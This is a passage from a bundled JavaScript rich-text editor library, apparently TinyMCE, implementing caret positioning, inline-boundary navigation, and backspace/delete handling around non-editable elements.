    const findCefPosition = (root, forward, from) => fromPosition(forward, root, from).bind(to => {
      if (isCompoundElement(to.getNode())) {
        return Optional.none();
      } else if (isDeleteFromCefDifferentBlocks(root, forward, from, to)) {
        return Optional.none();
      } else if (forward && isContentEditableFalse$a(to.getNode())) {
        return deleteEmptyBlockOrMoveToCef(root, forward, from, to);
      } else if (!forward && isContentEditableFalse$a(to.getNode(true))) {
        return deleteEmptyBlockOrMoveToCef(root, forward, from, to);
      } else if (forward && isAfterContentEditableFalse(from)) {
        return Optional.some(DeleteAction.moveToPosition(to));
      } else if (!forward && isBeforeContentEditableFalse(from)) {
        return Optional.some(DeleteAction.moveToPosition(to));
      } else {
        return Optional.none();
      }
    });
    const getContentEditableBlockAction = (forward, elm) => {
      if (isNullable(elm)) {
        return Optional.none();
      } else if (forward && isContentEditableFalse$a(elm.nextSibling)) {
        return Optional.some(DeleteAction.moveToElement(elm.nextSibling));
      } else if (!forward && isContentEditableFalse$a(elm.previousSibling)) {
        return Optional.some(DeleteAction.moveToElement(elm.previousSibling));
      } else {
        return Optional.none();
      }
    };
    const skipMoveToActionFromInlineCefToContent = (root, from, deleteAction) => deleteAction.fold(elm => Optional.some(DeleteAction.remove(elm)), elm => Optional.some(DeleteAction.moveToElement(elm)), to => {
      if (isInSameBlock(from, to, root)) {
        return Optional.none();
      } else {
        return Optional.some(DeleteAction.moveToPosition(to));
      }
    });
    const getContentEditableAction = (root, forward, from) => {
      if (isAtContentEditableBlockCaret(forward, from)) {
        return getContentEditableBlockAction(forward, from.getNode(!forward)).orThunk(() => findCefPosition(root, forward, from));
      } else {
        return findCefPosition(root, forward, from).bind(deleteAction => skipMoveToActionFromInlineCefToContent(root, from, deleteAction));
      }
    };
    const read = (root, forward, rng) => {
      const normalizedRange = normalizeRange(forward ? 1 : -1, root, rng);
      const from = CaretPosition.fromRangeStart(normalizedRange);
      const rootElement = SugarElement.fromDom(root);
      if (!forward && isAfterContentEditableFalse(from)) {
        return Optional.some(DeleteAction.remove(from.getNode(true)));
      } else if (forward && isBeforeContentEditableFalse(from)) {
        return Optional.some(DeleteAction.remove(from.getNode()));
      } else if (!forward && isBeforeContentEditableFalse(from) && isAfterBr(rootElement, from)) {
        return findPreviousBr(rootElement, from).map(br => DeleteAction.remove(br.getNode()));
      } else if (forward && isAfterContentEditableFalse(from) && isBeforeBr$1(rootElement, from)) {
        return findNextBr(rootElement, from).map(br => DeleteAction.remove(br.getNode()));
      } else {
        return getContentEditableAction(root, forward, from);
      }
    };

    const deleteElement$1 = (editor, forward) => element => {
      editor._selectionOverrides.hideFakeCaret();
      deleteElement$2(editor, forward, SugarElement.fromDom(element));
      return true;
    };
    const moveToElement = (editor, forward) => element => {
      const pos = forward ? CaretPosition.before(element) : CaretPosition.after(element);
      editor.selection.setRng(pos.toRange());
      return true;
    };
    const moveToPosition = editor => pos => {
      editor.selection.setRng(pos.toRange());
      return true;
    };
    const getAncestorCe = (editor, node) => Optional.from(getContentEditableRoot$1(editor.getBody(), node));
    const backspaceDeleteCaret = (editor, forward) => {
      const selectedNode = editor.selection.getNode();
      return getAncestorCe(editor, selectedNode).filter(isContentEditableFalse$a).fold(() => read(editor.getBody(), forward, editor.selection.getRng()).map(deleteAction => () => deleteAction.fold(deleteElement$1(editor, forward), moveToElement(editor, forward), moveToPosition(editor))), () => Optional.some(noop));
    };
    const deleteOffscreenSelection = rootElement => {
      each$e(descendants(rootElement, '.mce-offscreen-selection'), remove$6);
    };
    const backspaceDeleteRange = (editor, forward) => {
      const selectedNode = editor.selection.getNode();
      if (isContentEditableFalse$a(selectedNode) && !isTableCell$3(selectedNode)) {
        const hasCefAncestor = getAncestorCe(editor, selectedNode.parentNode).filter(isContentEditableFalse$a);
        return hasCefAncestor.fold(() => Optional.some(() => {
          deleteOffscreenSelection(SugarElement.fromDom(editor.getBody()));
          deleteElement$2(editor, forward, SugarElement.fromDom(editor.selection.getNode()));
          paddEmptyBody(editor);
        }), () => Optional.some(noop));
      }
      if (isCefAtEdgeSelected(editor)) {
        return Optional.some(() => {
          deleteRangeContents(editor, editor.selection.getRng(), SugarElement.fromDom(editor.getBody()));
        });
      }
      return Optional.none();
    };
    const paddEmptyElement = editor => {
      const dom = editor.dom, selection = editor.selection;
      const ceRoot = getContentEditableRoot$1(editor.getBody(), selection.getNode());
      if (isContentEditableTrue$3(ceRoot) && dom.isBlock(ceRoot) && dom.isEmpty(ceRoot)) {
        const br = dom.create('br', { 'data-mce-bogus': '1' });
        dom.setHTML(ceRoot, '');
        ceRoot.appendChild(br);
        selection.setRng(CaretPosition.before(br).toRange());
      }
      return true;
    };
    const backspaceDelete$5 = (editor, forward) => {
      if (editor.selection.isCollapsed()) {
        return backspaceDeleteCaret(editor, forward);
      } else {
        return backspaceDeleteRange(editor, forward);
      }
    };

    const deleteCaret$2 = (editor, forward) => {
      const fromPos = CaretPosition.fromRangeStart(editor.selection.getRng());
      return fromPosition(forward, editor.getBody(), fromPos).filter(pos => forward ? isBeforeImageBlock(pos) : isAfterImageBlock(pos)).bind(pos => getChildNodeAtRelativeOffset(forward ? 0 : -1, pos)).map(elm => () => editor.selection.select(elm));
    };
    const backspaceDelete$4 = (editor, forward) => editor.selection.isCollapsed() ? deleteCaret$2(editor, forward) : Optional.none();

    const isText$2 = isText$a;
    const startsWithCaretContainer = node => isText$2(node) && node.data[0] === ZWSP$1;
    const endsWithCaretContainer = node => isText$2(node) && node.data[node.data.length - 1] === ZWSP$1;
    const createZwsp = node => {
      var _a;
      const doc = (_a = node.ownerDocument) !== null && _a !== void 0 ? _a : document;
      return doc.createTextNode(ZWSP$1);
    };
    const insertBefore = node => {
      var _a;
      if (isText$2(node.previousSibling)) {
        if (endsWithCaretContainer(node.previousSibling)) {
          return node.previousSibling;
        } else {
          node.previousSibling.appendData(ZWSP$1);
          return node.previousSibling;
        }
      } else if (isText$2(node)) {
        if (startsWithCaretContainer(node)) {
          return node;
        } else {
          node.insertData(0, ZWSP$1);
          return node;
        }
      } else {
        const newNode = createZwsp(node);
        (_a = node.parentNode) === null || _a === void 0 ? void 0 : _a.insertBefore(newNode, node);
        return newNode;
      }
    };
    const insertAfter = node => {
      var _a, _b;
      if (isText$2(node.nextSibling)) {
        if (startsWithCaretContainer(node.nextSibling)) {
          return node.nextSibling;
        } else {
          node.nextSibling.insertData(0, ZWSP$1);
          return node.nextSibling;
        }
      } else if (isText$2(node)) {
        if (endsWithCaretContainer(node)) {
          return node;
        } else {
          node.appendData(ZWSP$1);
          return node;
        }
      } else {
        const newNode = createZwsp(node);
        if (node.nextSibling) {
          (_a = node.parentNode) === null || _a === void 0 ? void 0 : _a.insertBefore(newNode, node.nextSibling);
        } else {
          (_b = node.parentNode) === null || _b === void 0 ? void 0 : _b.appendChild(newNode);
        }
        return newNode;
      }
    };
    const insertInline = (before, node) => before ? insertBefore(node) : insertAfter(node);
    const insertInlineBefore = curry(insertInline, true);
    const insertInlineAfter = curry(insertInline, false);

    const insertInlinePos = (pos, before) => {
      if (isText$a(pos.container())) {
        return insertInline(before, pos.container());
      } else {
        return insertInline(before, pos.getNode());
      }
    };
    const isPosCaretContainer = (pos, caret) => {
      const caretNode = caret.get();
      return caretNode && pos.container() === caretNode && isCaretContainerInline(caretNode);
    };
    const renderCaret = (caret, location) => location.fold(element => {
      remove$4(caret.get());
      const text = insertInlineBefore(element);
      caret.set(text);
      return Optional.some(CaretPosition(text, text.length - 1));
    }, element => firstPositionIn(element).map(pos => {
      if (!isPosCaretContainer(pos, caret)) {
        remove$4(caret.get());
        const text = insertInlinePos(pos, true);
        caret.set(text);
        return CaretPosition(text, 1);
      } else {
        const node = caret.get();
        return CaretPosition(node, 1);
      }
    }), element => lastPositionIn(element).map(pos => {
      if (!isPosCaretContainer(pos, caret)) {
        remove$4(caret.get());
        const text = insertInlinePos(pos, false);
        caret.set(text);
        return CaretPosition(text, text.length - 1);
      } else {
        const node = caret.get();
        return CaretPosition(node, node.length - 1);
      }
    }), element => {
      remove$4(caret.get());
      const text = insertInlineAfter(element);
      caret.set(text);
      return Optional.some(CaretPosition(text, 1));
    });

    const evaluateUntil = (fns, args) => {
      for (let i = 0; i < fns.length; i++) {
        const result = fns[i].apply(null, args);
        if (result.isSome()) {
          return result;
        }
      }
      return Optional.none();
    };

    const Location = Adt.generate([
      { before: ['element'] },
      { start: ['element'] },
      { end: ['element'] },
      { after: ['element'] }
    ]);
    const rescope$1 = (rootNode, node) => {
      const parentBlock = getParentBlock$3(node, rootNode);
      return parentBlock ? parentBlock : rootNode;
    };
    const before = (isInlineTarget, rootNode, pos) => {
      const nPos = normalizeForwards(pos);
      const scope = rescope$1(rootNode, nPos.container());
      return findRootInline(isInlineTarget, scope, nPos).fold(() => nextPosition(scope, nPos).bind(curry(findRootInline, isInlineTarget, scope)).map(inline => Location.before(inline)), Optional.none);
    };
    const isNotInsideFormatCaretContainer = (rootNode, elm) => getParentCaretContainer(rootNode, elm) === null;
    const findInsideRootInline = (isInlineTarget, rootNode, pos) => findRootInline(isInlineTarget, rootNode, pos).filter(curry(isNotInsideFormatCaretContainer, rootNode));
    const start$1 = (isInlineTarget, rootNode, pos) => {
      const nPos = normalizeBackwards(pos);
      return findInsideRootInline(isInlineTarget, rootNode, nPos).bind(inline => {
        const prevPos = prevPosition(inline, nPos);
        return prevPos.isNone() ? Optional.some(Location.start(inline)) : Optional.none();
      });
    };
    const end = (isInlineTarget, rootNode, pos) => {
      const nPos = normalizeForwards(pos);
      return findInsideRootInline(isInlineTarget, rootNode, nPos).bind(inline => {
        const nextPos = nextPosition(inline, nPos);
        return nextPos.isNone() ? Optional.some(Location.end(inline)) : Optional.none();
      });
    };
    const after = (isInlineTarget, rootNode, pos) => {
      const nPos = normalizeBackwards(pos);
      const scope = rescope$1(rootNode, nPos.container());
      return findRootInline(isInlineTarget, scope, nPos).fold(() => prevPosition(scope, nPos).bind(curry(findRootInline, isInlineTarget, scope)).map(inline => Location.after(inline)), Optional.none);
    };
    const isValidLocation = location => !isRtl(getElement(location));
    const readLocation = (isInlineTarget, rootNode, pos) => {
      const location = evaluateUntil([
        before,
        start$1,
        end,
        after
      ], [
        isInlineTarget,
        rootNode,
        pos
      ]);
      return location.filter(isValidLocation);
    };
    const getElement = location => location.fold(identity, identity, identity, identity);
    const getName = location => location.fold(constant('before'), constant('start'), constant('end'), constant('after'));
    const outside = location => location.fold(Location.before, Location.before, Location.after, Location.after);
    const inside = location => location.fold(Location.start, Location.start, Location.end, Location.end);
    const isEq = (location1, location2) => getName(location1) === getName(location2) && getElement(location1) === getElement(location2);
    const betweenInlines = (forward, isInlineTarget, rootNode, from, to, location) => lift2(findRootInline(isInlineTarget, rootNode, from), findRootInline(isInlineTarget, rootNode, to), (fromInline, toInline) => {
      if (fromInline !== toInline && hasSameParentBlock(rootNode, fromInline, toInline)) {
        return Location.after(forward ? fromInline : toInline);
      } else {
        return location;
      }
    }).getOr(location);
    const skipNoMovement = (fromLocation, toLocation) => fromLocation.fold(always, fromLocation => !isEq(fromLocation, toLocation));
    const findLocationTraverse = (forward, isInlineTarget, rootNode, fromLocation, pos) => {
      const from = normalizePosition(forward, pos);
      const to = fromPosition(forward, rootNode, from).map(curry(normalizePosition, forward));
      const location = to.fold(() => fromLocation.map(outside), to => readLocation(isInlineTarget, rootNode, to).map(curry(betweenInlines, forward, isInlineTarget, rootNode, from, to)).filter(curry(skipNoMovement, fromLocation)));
      return location.filter(isValidLocation);
    };
    const findLocationSimple = (forward, location) => {
      if (forward) {
        return location.fold(compose(Optional.some, Location.start), Optional.none, compose(Optional.some, Location.after), Optional.none);
      } else {
        return location.fold(Optional.none, compose(Optional.some, Location.before), Optional.none, compose(Optional.some, Location.end));
      }
    };
    const findLocation$1 = (forward, isInlineTarget, rootNode, pos) => {
      const from = normalizePosition(forward, pos);
      const fromLocation = readLocation(isInlineTarget, rootNode, from);
      return readLocation(isInlineTarget, rootNode, from).bind(curry(findLocationSimple, forward)).orThunk(() => findLocationTraverse(forward, isInlineTarget, rootNode, fromLocation, pos));
    };

    const hasSelectionModifyApi = editor => {
      return isFunction(editor.selection.getSel().modify);
    };
    const moveRel = (forward, selection, pos) => {
      const delta = forward ? 1 : -1;
      selection.setRng(CaretPosition(pos.container(), pos.offset() + delta).toRange());
      selection.getSel().modify('move', forward ? 'forward' : 'backward', 'word');
      return true;
    };
    const moveByWord = (forward, editor) => {
      const rng = editor.selection.getRng();
      const pos = forward ? CaretPosition.fromRangeEnd(rng) : CaretPosition.fromRangeStart(rng);
      if (!hasSelectionModifyApi(editor)) {
        return false;
      } else if (forward && isBeforeInline(pos)) {
        return moveRel(true, editor.selection, pos);
      } else if (!forward && isAfterInline(pos)) {
        return moveRel(false, editor.selection, pos);
      } else {
        return false;
      }
    };

    var BreakType;
    (function (BreakType) {
      BreakType[BreakType['Br'] = 0] = 'Br';
      BreakType[BreakType['Block'] = 1] = 'Block';
      BreakType[BreakType['Wrap'] = 2] = 'Wrap';
      BreakType[BreakType['Eol'] = 3] = 'Eol';
    }(BreakType || (BreakType = {})));
    const flip = (direction, positions) => direction === HDirection.Backwards ? reverse(positions) : positions;
    const walk$1 = (direction, caretWalker, pos) => direction === HDirection.Forwards ? caretWalker.next(pos) : caretWalker.prev(pos);
    const getBreakType = (scope, direction, currentPos, nextPos) => {
      if (isBr$6(nextPos.getNode(direction === HDirection.Forwards))) {
        return BreakType.Br;
      } else if (isInSameBlock(currentPos, nextPos) === false) {
        return BreakType.Block;
      } else {
        return BreakType.Wrap;
      }
    };
    const getPositionsUntil = (predicate, direction, scope, start) => {
      const caretWalker = CaretWalker(scope);
      let currentPos = start;
      const positions = [];
      while (currentPos) {
        const nextPos = walk$1(direction, caretWalker, currentPos);
        if (!nextPos) {
          break;
        }
        if (isBr$6(nextPos.getNode(false))) {
          if (direction === HDirection.Forwards) {
            return {
              positions: flip(direction, positions).concat([nextPos]),
              breakType: BreakType.Br,
              breakAt: Optional.some(nextPos)
            };
          } else {
            return {
              positions: flip(direction, positions),
              breakType: BreakType.Br,
              breakAt: Optional.some(nextPos)
            };
          }
        }
        if (!nextPos.isVisible()) {
          currentPos = nextPos;
          continue;
        }
        if (predicate(currentPos, nextPos)) {
          const breakType = getBreakType(scope, direction, currentPos, nextPos);
          return {
            positions: flip(direction, positions),
            breakType,
            breakAt: Optional.some(nextPos)
          };
        }
        positions.push(nextPos);
        currentPos = nextPos;
      }
      return {
        positions: flip(direction, positions),
        breakType: BreakType.Eol,
        breakAt: Optional.none()
      };
    };
    const getAdjacentLinePositions = (direction, getPositionsUntilBreak, scope, start) => getPositionsUntilBreak(scope, start).breakAt.map(pos => {
      const positions = getPositionsUntilBreak(scope, pos).positions;
      return direction === HDirection.Backwards ? positions.concat(pos) : [pos].concat(positions);
    }).getOr([]);
    const findClosestHorizontalPositionFromPoint = (positions, x) => foldl(positions, (acc, newPos) => acc.fold(() => Optional.some(newPos), lastPos => lift2(head(lastPos.getClientRects()), head(newPos.getClientRects()), (lastRect, newRect) => {
      const lastDist = Math.abs(x - lastRect.left);
      const newDist = Math.abs(x - newRect.left);
      return newDist <= lastDist ? newPos : lastPos;
    }).or(acc)), Optional.none());
    const findClosestHorizontalPosition = (positions, pos) => head(pos.getClientRects()).bind(targetRect => findClosestHorizontalPositionFromPoint(positions, targetRect.left));
    const getPositionsUntilPreviousLine = curry(getPositionsUntil, CaretPosition.isAbove, -1);
    const getPositionsUntilNextLine = curry(getPositionsUntil, CaretPosition.isBelow, 1);
    const getPositionsAbove = curry(getAdjacentLinePositions, -1, getPositionsUntilPreviousLine);
    const getPositionsBelow = curry(getAdjacentLinePositions, 1, getPositionsUntilNextLine);
    const isAtFirstLine = (scope, pos) => getPositionsUntilPreviousLine(scope, pos).breakAt.isNone();
    const isAtLastLine = (scope, pos) => getPositionsUntilNextLine(scope, pos).breakAt.isNone();
    const getFirstLinePositions = scope => firstPositionIn(scope).map(pos => [pos].concat(getPositionsUntilNextLine(scope, pos).positions)).getOr([]);
    const getLastLinePositions = scope => lastPositionIn(scope).map(pos => getPositionsUntilPreviousLine(scope, pos).positions.concat(pos)).getOr([]);
    const getClosestPositionAbove = (scope, pos) => findClosestHorizontalPosition(getPositionsAbove(scope, pos), pos);
    const getClosestPositionBelow = (scope, pos) => findClosestHorizontalPosition(getPositionsBelow(scope, pos), pos);

    const isContentEditableFalse$4 = isContentEditableFalse$a;
    const distanceToRectLeft$1 = (clientRect, clientX) => Math.abs(clientRect.left - clientX);
    const distanceToRectRight$1 = (clientRect, clientX) => Math.abs(clientRect.right - clientX);
    const isNodeClientRect = rect => hasNonNullableKey(rect, 'node');
    const findClosestClientRect = (clientRects, clientX) => reduce(clientRects, (oldClientRect, clientRect) => {
      const oldDistance = Math.min(distanceToRectLeft$1(oldClientRect, clientX), distanceToRectRight$1(oldClientRect, clientX));
      const newDistance = Math.min(distanceToRectLeft$1(clientRect, clientX), distanceToRectRight$1(clientRect, clientX));
      if (newDistance === oldDistance && isNodeClientRect(clientRect) && isContentEditableFalse$4(clientRect.node)) {
        return clientRect;
      }
      if (newDistance < oldDistance) {
        return clientRect;
      }
      return oldClientRect;
    });

    const getNodeClientRects = node => {
      const toArrayWithNode = clientRects => {
        return map$3(clientRects, rect => {
          const clientRect = clone$1(rect);
          clientRect.node = node;
          return clientRect;
        });
      };
      if (isElement$6(node)) {
        return toArrayWithNode(node.getClientRects());
      } else if (isText$a(node)) {
        const rng = node.ownerDocument.createRange();
        rng.setStart(node, 0);
        rng.setEnd(node, node.data.length);
        return toArrayWithNode(rng.getClientRects());
      } else {
        return [];
      }
    };
    const getClientRects = nodes => bind$3(nodes, getNodeClientRects);

    var VDirection;
    (function (VDirection) {
      VDirection[VDirection['Up'] = -1] = 'Up';
      VDirection[VDirection['Down'] = 1] = 'Down';
    }(VDirection || (VDirection = {})));
    const findUntil = (direction, root, predicateFn, node) => {
      let currentNode = node;
      while (currentNode = findNode(currentNode, direction, isEditableCaretCandidate$1, root)) {
        if (predicateFn(currentNode)) {
          return;
        }
      }
    };
    const walkUntil = (direction, isAboveFn, isBeflowFn, root, predicateFn, caretPosition) => {
      let line = 0;
      const result = [];
      const add = node => {
        let clientRects = getClientRects([node]);
        if (direction === -1) {
          clientRects = clientRects.reverse();
        }
        for (let i = 0; i < clientRects.length; i++) {
          const clientRect = clientRects[i];
          if (isBeflowFn(clientRect, targetClientRect)) {
            continue;
          }
          if (result.length > 0 && isAboveFn(clientRect, last$2(result))) {
            line++;
          }
          clientRect.line = line;
          if (predicateFn(clientRect)) {
            return true;
          }
          result.push(clientRect);
        }
        return false;
      };
      const targetClientRect = last$2(caretPosition.getClientRects());
      if (!targetClientRect) {
        return result;
      }
      const node = caretPosition.getNode();
      if (node) {
        add(node);
        findUntil(direction, root, add, node);
      }
      return result;
    };
    const aboveLineNumber = (lineNumber, clientRect) => clientRect.line > lineNumber;
    const isLineNumber = (lineNumber, clientRect) => clientRect.line === lineNumber;
    const upUntil = curry(walkUntil, VDirection.Up, isAbove$1, isBelow$1);
    const downUntil = curry(walkUntil, VDirection.Down, isBelow$1, isAbove$1);
    const getLastClientRect = caretPosition => {
      return last$2(caretPosition.getClientRects());
    };
    const positionsUntil = (direction, root, predicateFn, node) => {
      const caretWalker = CaretWalker(root);
      let walkFn;
      let isBelowFn;
      let isAboveFn;
      let caretPosition;
      const result = [];
      let line = 0;
      if (direction === 1) {
        walkFn = caretWalker.next;
        isBelowFn = isBelow$1;
        isAboveFn = isAbove$1;
        caretPosition = CaretPosition.after(node);
      } else {
        walkFn = caretWalker.prev;
        isBelowFn = isAbove$1;
        isAboveFn = isBelow$1;
        caretPosition = CaretPosition.before(node);
      }
      const targetClientRect = getLastClientRect(caretPosition);
      do {
        if (!caretPosition.isVisible()) {
          continue;
        }
        const rect = getLastClientRect(caretPosition);
        if (isAboveFn(rect, targetClientRect)) {
          continue;
        }
        if (result.length > 0 && isBelowFn(rect, last$2(result))) {
          line++;
        }
        const clientRect = clone$1(rect);
        clientRect.position = caretPosition;
        clientRect.line = line;
        if (predicateFn(clientRect)) {
          return result;
        }
        result.push(clientRect);
      } while (caretPosition = walkFn(caretPosition));
      return result;
    };
    const isAboveLine = lineNumber => clientRect => aboveLineNumber(lineNumber, clientRect);
    const isLine = lineNumber => clientRect => isLineNumber(lineNumber, clientRect);

    const moveToRange = (editor, rng) => {
      editor.selection.setRng(rng);
      scrollRangeIntoView(editor, editor.selection.getRng());
    };
    const renderRangeCaretOpt = (editor, range, scrollIntoView) => Optional.some(renderRangeCaret(editor, range, scrollIntoView));
    const moveHorizontally = (editor, direction, range, isBefore, isAfter, isElement) => {
      const forwards = direction === HDirection.Forwards;
      const caretWalker = CaretWalker(editor.getBody());
      const getNextPosFn = curry(getVisualCaretPosition, forwards ? caretWalker.next : caretWalker.prev);
      const isBeforeFn = forwards ? isBefore : isAfter;
      if (!range.collapsed) {
        const node = getSelectedNode(range);
        if (isElement(node)) {
          return showCaret(direction, editor, node, direction === HDirection.Backwards, false);
        } else if (isCefAtEdgeSelected(editor)) {
          const newRange = range.cloneRange();
          newRange.collapse(direction === HDirection.Backwards);
          return Optional.from(newRange);
        }
      }
      const caretPosition = getNormalizedRangeEndPoint(direction, editor.getBody(), range);
      if (isBeforeFn(caretPosition)) {
        return selectNode(editor, caretPosition.getNode(!forwards));
      }
      let nextCaretPosition = getNextPosFn(caretPosition);
      const rangeIsInContainerBlock = isRangeInCaretContainerBlock(range);
      if (!nextCaretPosition) {
        return rangeIsInContainerBlock ? Optional.some(range) : Optional.none();
      } else {
        nextCaretPosition = normalizePosition(forwards, nextCaretPosition);
      }
      if (isBeforeFn(nextCaretPosition)) {
        return showCaret(direction, editor, nextCaretPosition.getNode(!forwards), forwards, false);
      }
      const peekCaretPosition = getNextPosFn(nextCaretPosition);
      if (peekCaretPosition && isBeforeFn(peekCaretPosition)) {
        if (isMoveInsideSameBlock(nextCaretPosition, peekCaretPosition)) {
          return showCaret(direction, editor, peekCaretPosition.getNode(!forwards), forwards, false);
        }
      }
      if (rangeIsInContainerBlock) {
        return renderRangeCaretOpt(editor, nextCaretPosition.toRange(), false);
      }
      return Optional.none();
    };
    const moveVertically = (editor, direction, range, isBefore, isAfter, isElement) => {
      const caretPosition = getNormalizedRangeEndPoint(direction, editor.getBody(), range);
      const caretClientRect = last$2(caretPosition.getClientRects());
      const forwards = direction === VDirection.Down;
      const root = editor.getBody();
      if (!caretClientRect) {
        return Optional.none();
      }
      if (isCefAtEdgeSelected(editor)) {
        const caretPosition = forwards ? CaretPosition.fromRangeEnd(range) : CaretPosition.fromRangeStart(range);
        const getClosestFn = !forwards ? getClosestPositionAbove : getClosestPositionBelow;
        return getClosestFn(root, caretPosition).orThunk(() => Optional.from(caretPosition)).map(pos => pos.toRange());
      }
      const walkerFn = forwards ? downUntil : upUntil;
      const linePositions = walkerFn(root, isAboveLine(1), caretPosition);
      const nextLinePositions = filter$5(linePositions, isLine(1));
      const clientX = caretClientRect.left;
      const nextLineRect = findClosestClientRect(nextLinePositions, clientX);
      if (nextLineRect && isElement(nextLineRect.node)) {
        const dist1 = Math.abs(clientX - nextLineRect.left);
        const dist2 = Math.abs(clientX - nextLineRect.right);
        return showCaret(direction, editor, nextLineRect.node, dist1 < dist2, false);
      }
      let currentNode;
      if (isBefore(caretPosition)) {
        currentNode = caretPosition.getNode();
      } else if (isAfter(caretPosition)) {
        currentNode = caretPosition.getNode(true);
      } else {
        currentNode = getSelectedNode(range);
      }
      if (currentNode) {
        const caretPositions = positionsUntil(direction, root, isAboveLine(1), currentNode);
        let closestNextLineRect = findClosestClientRect(filter$5(caretPositions, isLine(1)), clientX);
        if (closestNextLineRect) {
          return renderRangeCaretOpt(editor, closestNextLineRect.position.toRange(), false);
        }
        closestNextLineRect = last$2(filter$5(caretPositions, isLine(0)));
        if (closestNextLineRect) {
          return renderRangeCaretOpt(editor, closestNextLineRect.position.toRange(), false);
        }
      }
      if (nextLinePositions.length === 0) {
        return getLineEndPoint(editor, forwards).filter(forwards ? isAfter : isBefore).map(pos => renderRangeCaret(editor, pos.toRange(), false));
      }
      return Optional.none();
    };
    const getLineEndPoint = (editor, forward) => {
      const rng = editor.selection.getRng();
      const from = forward ? CaretPosition.fromRangeEnd(rng) : CaretPosition.fromRangeStart(rng);
      const host = getEditingHost(from.container(), editor.getBody());
      if (forward) {
        const lineInfo = getPositionsUntilNextLine(host, from);
        return last$3(lineInfo.positions);
      } else {
        const lineInfo = getPositionsUntilPreviousLine(host, from);
        return head(lineInfo.positions);
      }
    };
    const moveToLineEndPoint$3 = (editor, forward, isElementPosition) => getLineEndPoint(editor, forward).filter(isElementPosition).exists(pos => {
      editor.selection.setRng(pos.toRange());
      return true;
    });

    const setCaretPosition = (editor, pos) => {
      const rng = editor.dom.createRng();
      rng.setStart(pos.container(), pos.offset());
      rng.setEnd(pos.container(), pos.offset());
      editor.selection.setRng(rng);
    };
    const setSelected = (state, elm) => {
      if (state) {
        elm.setAttribute('data-mce-selected', 'inline-boundary');
      } else {
        elm.removeAttribute('data-mce-selected');
      }
    };
    const renderCaretLocation = (editor, caret, location) => renderCaret(caret, location).map(pos => {
      setCaretPosition(editor, pos);
      return location;
    });
    const getPositionFromRange = (range, root, forward) => {
      const start = CaretPosition.fromRangeStart(range);
      if (range.collapsed) {
        return start;
      } else {
        const end = CaretPosition.fromRangeEnd(range);
        return forward ? prevPosition(root, end).getOr(end) : nextPosition(root, start).getOr(start);
      }
    };
    const findLocation = (editor, caret, forward) => {
      const rootNode = editor.getBody();
      const from = getPositionFromRange(editor.selection.getRng(), rootNode, forward);
      const isInlineTarget$1 = curry(isInlineTarget, editor);
      const location = findLocation$1(forward, isInlineTarget$1, rootNode, from);
      return location.bind(location => renderCaretLocation(editor, caret, location));
    };
    const toggleInlines = (isInlineTarget, dom, elms) => {
      const inlineBoundaries = map$3(descendants(SugarElement.fromDom(dom.getRoot()), '*[data-mce-selected="inline-boundary"]'), e => e.dom);
      const selectedInlines = filter$5(inlineBoundaries, isInlineTarget);
      const targetInlines = filter$5(elms, isInlineTarget);
      each$e(difference(selectedInlines, targetInlines), curry(setSelected, false));
      each$e(difference(targetInlines, selectedInlines), curry(setSelected, true));
    };
    const safeRemoveCaretContainer = (editor, caret) => {
      const caretValue = caret.get();
      if (editor.selection.isCollapsed() && !editor.composing && caretValue) {
        const pos = CaretPosition.fromRangeStart(editor.selection.getRng());
        if (CaretPosition.isTextPosition(pos) && !isAtZwsp(pos)) {
          setCaretPosition(editor, removeAndReposition(caretValue, pos));
          caret.set(null);
        }
      }
    };
    const renderInsideInlineCaret = (isInlineTarget, editor, caret, elms) => {
      if (editor.selection.isCollapsed()) {
        const inlines = filter$5(elms, isInlineTarget);
        each$e(inlines, _inline => {
          const pos = CaretPosition.fromRangeStart(editor.selection.getRng());
          readLocation(isInlineTarget, editor.getBody(), pos).bind(location => renderCaretLocation(editor, caret, location));
        });
      }
    };
    const move$2 = (editor, caret, forward) => isInlineBoundariesEnabled(editor) ? findLocation(editor, caret, forward).isSome() : false;
    const moveWord = (forward, editor, _caret) => isInlineBoundariesEnabled(editor) ? moveByWord(forward, editor) : false;
    const setupSelectedState = editor => {
      const caret = Cell(null);
      const isInlineTarget$1 = curry(isInlineTarget, editor);
      editor.on('NodeChange', e => {
        if (isInlineBoundariesEnabled(editor)) {
          toggleInlines(isInlineTarget$1, editor.dom, e.parents);
          safeRemoveCaretContainer(editor, caret);
          renderInsideInlineCaret(isInlineTarget$1, editor, caret, e.parents);
        }
      });
      return caret;
    };
    const moveNextWord = curry(moveWord, true);
    const movePrevWord = curry(moveWord, false);
    const moveToLineEndPoint$2 = (editor, forward, caret) => {
      if (isInlineBoundariesEnabled(editor)) {
        const linePoint = getLineEndPoint(editor, forward).getOrThunk(() => {
          const rng = editor.selection.getRng();
          return forward ? CaretPosition.fromRangeEnd(rng) : CaretPosition.fromRangeStart(rng);
        });
        return readLocation(curry(isInlineTarget, editor), editor.getBody(), linePoint).exists(loc => {
          const outsideLoc = outside(loc);
          return renderCaret(caret, outsideLoc).exists(pos => {
            setCaretPosition(editor, pos);
            return true;
          });
        });
      } else {
        return false;
      }
    };

    const rangeFromPositions = (from, to) => {
      const range = document.createRange();
      range.setStart(from.container(), from.offset());
      range.setEnd(to.container(), to.offset());
      return range;
    };
    const hasOnlyTwoOrLessPositionsLeft = elm => lift2(firstPositionIn(elm), lastPositionIn(elm), (firstPos, lastPos) => {
      const normalizedFirstPos = normalizePosition(true, firstPos);
      const normalizedLastPos = normalizePosition(false, lastPos);
      return nextPosition(elm, normalizedFirstPos).forall(pos => pos.isEqual(normalizedLastPos));
    }).getOr(true);
    const setCaretLocation = (editor, caret) => location => renderCaret(caret, location).map(pos => () => setCaretPosition(editor, pos));
    const deleteFromTo = (editor, caret, from, to) => {
      const rootNode = editor.getBody();
      const isInlineTarget$1 = curry(isInlineTarget, editor);
      editor.undoManager.ignore(() => {
        editor.selection.setRng(rangeFromPositions(from, to));
        execNativeDeleteCommand(editor);
        readLocation(isInlineTarget$1, rootNode, CaretPosition.fromRangeStart(editor.selection.getRng())).map(inside).bind(setCaretLocation(editor, caret)).each(call);
      });
      editor.nodeChanged();
    };
    const rescope = (rootNode, node) => {
      const parentBlock = getParentBlock$3(node, rootNode);
      return parentBlock ? parentBlock : rootNode;
    };
    const backspaceDeleteCollapsed = (editor, caret, forward, from) => {
      const rootNode = rescope(editor.getBody(), from.container());
      const isInlineTarget$1 = curry(isInlineTarget, editor);
      const fromLocation = readLocation(isInlineTarget$1, rootNode, from);
      const location = fromLocation.bind(location => {
        if (forward) {
